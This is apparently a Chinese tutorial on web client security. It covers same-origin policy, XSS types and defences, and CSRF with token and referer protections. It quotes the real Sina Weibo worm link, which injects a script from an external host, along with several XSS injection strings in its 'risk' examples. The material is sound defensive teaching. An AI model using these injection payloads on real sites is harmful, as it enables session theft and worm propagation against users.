淺談 XSS & CSRF

客戶端(瀏覽器)安全

 

同源策略(Same Origin Policy)

同源策略阻止從一個源加載的文檔或腳本獲取或設置另外一個源加載的文檔的屬性。
 
如:
不能經過Ajax獲取另外一個源的數據;
JavaScript不能訪問頁面中iframe加載的跨域資源。
 
對 http://store.company.com/dir/page.html 同源檢測
 
 

跨域限制

  1. 瀏覽器中,script、img、iframe、link等標籤,能夠跨域引用或加載資源。
  2. 不一樣於 XMLHttpRequest,經過src屬性加載的資源,瀏覽器限制了JavaScript的權限,使其不能讀、寫返回的內容。
  3. XMLHttpRequest 也受到也同源策略的約束,不能跨域訪問資源。
 

JSONP

爲了解決 XMLHttpRequest 同源策略的侷限性,JSONP出現了。
JSONP並非一個官方的協議,它是利用script標籤中src屬性具備跨域加載資源的特性,而衍生出來的跨域數據訪問方式。
 
 

CORS(Cross-Origin Resource Sharing) 

CORS,即: 跨域資源共享
這是W3C委員會制定的一個新標準,用於解決 XMLHttpRequest 不能跨域訪問資源的問題。目前支持狀況良好(特指移動端)。
想了解更多,可查看以前的文章: 《CORS(Cross-Origin Resource Sharing) 跨域資源共享》
 
 

 

XSS(Cross Site Script)

XSS(Cross Site Script) 即: 跨站腳本攻擊
原本縮寫其應該是CSS,不過爲了不和CSS層疊樣式表 (Cascading Style Sheets)重複,因此在安全領域叫作 XSS 。
 

XSS 分類

XSS 主要分爲兩種形態
  1. 反射型XSS(非持久型XSS)。須要誘惑用戶去激活的XSS攻擊,如:點擊惡意連接。
  2. 存儲型XSS。混雜有惡意代碼的數據被存儲在服務器端,當用戶訪問輸出該數據的頁面時,就會促發XSS攻擊。具備很強的穩定性。
 

XSS Payload

XSS Payload,是指那些用於完成各類具體功能的惡意腳本。
因爲實現XSS攻擊能夠經過JavaScript、ActiveX控件、Flash插件、Java插件等技術手段實現,下面只討論JavaScript的XSS Payload。
 
經過JavaScript實現的XSS Payload,通常有如下幾種:
  1. Cookie劫持
  2. 構造請求
  3. XSS釣魚
  4. CSS History Hack
 

Cookie劫持

因爲Cookie中,每每會存儲着一些用戶安全級別較高的信息,如:用戶的登錄憑證。
當用戶所訪問的網站被注入惡意代碼,它只需經過  document.cookie 這句簡單的JavaScript代碼,就能夠順利獲取到用戶當前訪問網站的cookies。
若是攻擊者能獲取到用戶登錄憑證的Cookie,甚至能夠繞開登錄流程,直接設置這個cookie的值,來訪問用戶的帳號。
 

構造請求

JavaScript 能夠經過多種方式向服務器發送GET與POST請求。
網站的數據訪問和操做,基本上都是經過向服務器發送請求而實現的。
若是讓惡意代碼順利模擬用戶操做,向服務器發送有效請求,將對用戶形成重大損失。
例如:更改用戶資料、刪除用戶信息等...
 

XSS釣魚

關於網站釣魚,詳細你們應該也不陌生了。
就是僞造一個高度類似的網站,欺騙用戶在釣魚網站上面填寫帳號密碼或者進行交易。
而XSS釣魚也是利用一樣的原理。
注入頁面的惡意代碼,會彈出一個想死的彈窗,提示用戶輸入帳號密碼登錄。
當用戶輸入後點擊發送,這些資料已經去到了攻擊者的服務器上了。
 
如:
 
 
 

CSS History Hack

CSS History Hack是一個有意思的東西。它結合 瀏覽器歷史記錄 和 CSS的僞類:a:visited,經過遍歷一個網址列表來獲取其中<a>標籤的顏色,就能知道用戶訪問過什麼網站。
PS:目前最新版的Chrome、Firefox、Safari已經無效,Opera 和 IE8如下 還可使用。
 

XSS Worm

XSS Worm,即XSS蠕蟲,是一種具備自我傳播能力的XSS攻擊,殺傷力很大。
引起 XSS蠕蟲 的條件比較高,須要在用戶之間發生交互行爲的頁面,這樣才能造成有效的傳播。通常要同時結合 反射型XSS 和 存儲型XSS 。
案例:Samy Worm、新浪微博XSS攻擊
 

新浪微博XSS攻擊

這張圖,其實已是XSS蠕蟲傳播階段的截圖了。
攻擊者要讓XSS蠕蟲成功被激活,應該是經過 私信 或者 @微博 的方式,誘惑一些微博大號上當。
當這些大號中有人點擊了攻擊連接後,XSS蠕蟲就被激活,開始傳播了。
 
這個XSS的漏洞,其實就是沒有對地址中的變量進行過濾。
把上圖的連接decode了以後,咱們就能夠很容易的看出,這個連接的貓膩在哪裏。
連接上帶的變量,直接輸出頁面,致使外部JavaScript代碼成功注入。
 
傳播連接:http://weibo.com/pub/star/g/xyyyd %22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
把連接decode以後:http://weibo.com/pub/star/g/xyyyd "><script src=//www.2kt.cn/images/t.js></script>?type=update
 
相關XSS代碼這裏就不貼了,Google一下就有。
其實也要感謝攻擊者只是惡做劇了一下,讓用戶沒有形成實際的損失。
網上也有人提到,若是這個漏洞結合XSS釣魚,再配合隱性傳播,那樣殺傷力會更大。
 
 

 

XSS 防護技巧

 

HttpOnly

服務器端在設置安全級別高的Cookie時,帶上HttpOnly的屬性,就能防止JavaScript獲取。
PHP設置HttpOnly:
1 <?
2 header("Set-Cookie: a=1;", false);
3 header("Set-Cookie: b=1;httponly", false);
4 setcookie("c", "1", NULL, NULL, NULL, NULL, ture);
 
PS:手機上的QQ瀏覽器4.0,竟然不支持httponly,而3.7的版本卻沒問題。測試平臺是安卓4.0版本。
估計是一個低級的bug,已經向QQ瀏覽器那邊反映了情。
截止時間:2013-01-28

 

輸入檢查

任何用戶輸入的數據,都是「不可信」的。
輸入檢查,通常是用於輸入格式檢查,例如:郵箱、電話號碼、用戶名這些...
都要按照規定的格式輸入:電話號碼必須純是數字和規定長度;用戶名除 中英文數字 外,僅容許輸入幾個安全的符號。
輸入過濾不能徹底交由前端負責,前端的輸入過濾只是爲了不普通用戶的錯誤輸入,減輕服務器的負擔。
由於攻擊者徹底能夠繞過正常輸入流程,直接利用相關接口向服務器發送設置。
因此,前端和後端要作相同的過濾檢查。
 
 

輸出檢查

相比輸入檢查,前端更適合作輸出檢查。
 
能夠看到,HttpOnly和前端沒直接關係,輸入檢查的關鍵點也不在於前端。
那XSS的防護就和前端不要緊了?
固然不是,隨着移動端web開發發展起來了,Ajax的使用愈來愈廣泛,愈來愈多的操做都交給前端來處理。
前端也須要作好XSS防護。
JavaScript直接經過Ajax向服務器請求數據,接口把數據以JSON格式返回。前端整合處理數據後,輸出頁面。
因此,前端的XSS防護點,在於輸出檢查。
但也要結合 XSS可能發生的場景
 

XSS注意場景

在HTML標籤中輸出
如:<a href=# >{$var}</a>
風險:{$var} 爲 <img src=# onerror="/xss/" />
防護手段:變量HtmlEncode後輸出
 
在HTML屬性中輸出
如:<div data-num="{$var}"></div>
風險:{$var} 爲 " onclick="/xss/
防護手段:變量HtmlEncode後輸出
 
在<script>標籤中輸出
如:<script>var num = {$var};</script>
風險:{$var} 爲 1; alert(/xss/)
防護手段:確保輸出變量在引號裏面,再讓變量JavaScriptEncode後輸出。
 
在事件中輸出
如:<span onclick="fun({$var})">hello!click me!</span>
風險:{$var} 爲 ); alert(/xss/); //
防護手段:確保輸出變量在引號裏面,再讓變量JavaScriptEncode後輸出。
 
在CSS中輸出
通常來講,儘可能禁止用戶可控制的變量在<style>標籤和style屬性中輸出。
 
在地址中輸出
如:<a href="http://3g.cn/?test={$var}">
風險:{$var} 爲 " onclick="alert(/xss/)
防護手段:對URL中除 協議(Protocal) 和 主機(Host) 外進行URLEncode。若是整個連接都由變量輸出,則須要判斷是否是http開頭。
 

HtmlEncode

對下列字符實現編碼
&     ——》    &amp;
<     ——》    &lt;
>     ——》    &gt;
"    ——》    &quot;
'    ——》    &#39; (IE不支持&apos;)
/      ——》    &#x2F;
 

JavaScriptEncode

對下列字符加上反斜槓
"    ——》    \"
'    ——》    \'
\      ——》    \\
\n    ——》    \\n
\r     ——》    \\r      (Windows下的換行符)
 
例子: "\\".replace(/\\/g, "\\\\");  //return \\ 
推薦一個JavaScript的模板引擎: artTemplate
 
 

URLEncode

使用如下JS原生方法進行URI編碼和解碼:
  • encodeURI
  • decodeURI
  • decodeURIComponent
  • encodeURIComponent
 

 

CSRF(Cross-site request forgery)

 
CSRF 即: 跨站點請求僞造
網站A :爲惡意網站。
網站B :用戶已登陸的網站。
當用戶訪問 A站 時,A站 私自訪問 B站 的操做連接,模擬用戶操做。
 
假設B站有一個刪除評論的連接:http://b.com/comment/?type=delete&id=81723
A站 直接訪問該連接,就能刪除用戶在 B站 的評論。
 

CSRF 的攻擊策略

由於瀏覽器訪問 B站 相關連接時,會向其服務器發送 B站 保存在本地的Cookie,以判斷用戶是否登錄。因此經過 A站 訪問的連接,也能順利執行。
 
 

 

CSRF 防護技巧

 

驗證碼

幾乎全部人都知道驗證碼,但驗證碼不僅僅用來防止註冊機的暴力破解,還能夠有效防止CSRF的攻擊。
驗證碼算是對抗CSRF攻擊最簡潔有效的方法。
但使用驗證碼的問題在於,不可能在用戶的全部操做上都須要輸入驗證碼。
只有一些關鍵的操做,才能要求輸入驗證碼。
不過隨着HTML5的發展。
利用canvas標籤,前端也能識別驗證碼的字符,讓CSRF生效。
 

Referer Check

Referer Check即來源檢測。
HTTP Referer 是 Request Headers 的一部分,當瀏覽器向web服務器發出請求的時候,通常會帶上Referer,告訴服務器用戶從哪一個站點連接過來的。
服務器經過判斷請求頭中的referer,也能避免CSRF的攻擊。
 

Token

CSRF能攻擊成功,根本緣由是:操做所帶的參數均被攻擊者猜想到。
 
既然知道根本緣由,咱們就對症下藥,利用 Token
當向服務器傳參數時,帶上Token。這個Token是一個 隨機值,而且由 服務器和用戶同時持有
Token能夠存放在用戶瀏覽器的Cookie中,
當用戶提交表單時帶上Token值,服務器就能驗證表單和Cookie中的Token是否一致。
(前提,網站沒有XSS漏洞,攻擊者不能經過腳本獲取用戶的Cookie)
 
 
 
最後,送上 HTML安全備忘列表: http://heideri.ch/jso/
 
 
 
 
參考:
《白帽子講Web安全 》
相關文章
相關標籤/搜索